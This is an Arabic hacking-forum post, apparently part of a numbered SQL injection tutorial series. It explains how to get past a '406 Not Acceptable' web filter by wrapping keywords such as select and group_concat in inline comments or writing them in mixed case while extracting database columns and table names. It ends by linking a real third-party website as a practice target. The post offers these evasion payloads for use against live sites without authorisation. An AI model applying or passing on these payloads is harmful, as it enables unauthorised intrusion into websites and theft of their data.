منتدى قراصنة الهكر
مرحبا بزوارنا الكرام نحن فرحون بكم الرجاء منكم التسجيل في الموقع
منتدى قراصنة الهكر
مرحبا بزوارنا الكرام نحن فرحون بكم الرجاء منكم التسجيل في الموقع
منتدى قراصنة الهكر
هل تريد التفاعل مع هذه المساهمة؟ كل ما عليك هو إنشاء حساب جديد ببضع خطوات أو تسجيل الدخول للمتابعة.


قراصنة الهكر
 
الرئيسيةأحدث الصورالتسجيلدخول

 

 10- تخطي مشكلة Not Acceptable

اذهب الى الأسفل 
كاتب الموضوعرسالة
death

death


عدد المساهمات : 15
نقاط : 40624
السٌّمعَة : 1
تاريخ التسجيل : 15/10/2013

10- تخطي مشكلة Not Acceptable Empty
مُساهمةموضوع: 10- تخطي مشكلة Not Acceptable   10- تخطي مشكلة Not Acceptable Icon_minitimeالأحد نوفمبر 03, 2013 5:51 pm

بسم الله الرحمن الرحيم السلام عليكم ورحمة الله وبركاته

احيانا عندما تصل الى الامر union+select لاستخراج الاعمدة المصابة ستواجه هذه الحماية
Not Acceptable 406


10- تخطي مشكلة Not Acceptable 3lSsw



طيب الحل بسيط جدا وهي اضافة الفلترة للأمر select والفلترة هي هذه الاشارة !*/ قبل الامر وهذه بعد الامر */ بحيث يصبح الامر بهذا الشكل

الكود:
union+/*!select*/+
او بامكانك اللعب بالكلمة تحول الحروف الى كبيرة وصغير هكذا

الكود:
union+SeLeCt+
ستتخطى المشكلة بعد ذلك

طيب ماذا لو ظهرت صفحة الخطأ هذه عند استخراج اسماء الجداول ؟
سهلة عند استخراج الجداول انت تستخدم الامر group_concat اذا نفلت هذا الامر بنفس الطريقة

الكود:
/*!group_concat*/(table_name)
او

الكود:
GroUP_CoNcAt(table_name)
وتكمل الاستغلال بشكل عادي وان شاء الله ستتخطى المشكلة , هذا موقع جبتلكم اياه حتى تجربو عليه

http://www.mociraq.com/viewnews.php?id_indexnews=47

الى هنا انتهينا
اي استفسار انا حاضر
تحياتي DeAtH
الرجوع الى أعلى الصفحة اذهب الى الأسفل
 
10- تخطي مشكلة Not Acceptable
الرجوع الى أعلى الصفحة 
صفحة 1 من اصل 1
 مواضيع مماثلة
-
» 9- تخطي مشكلة order+by (المستوى الثالث )

صلاحيات هذا المنتدى:لاتستطيع الرد على المواضيع في هذا المنتدى
منتدى قراصنة الهكر :: قسم إختراق المواقع والأجهزة والبريد الإلكتروني :: SQL-injection , حقن قواعد بيانات-
انتقل الى: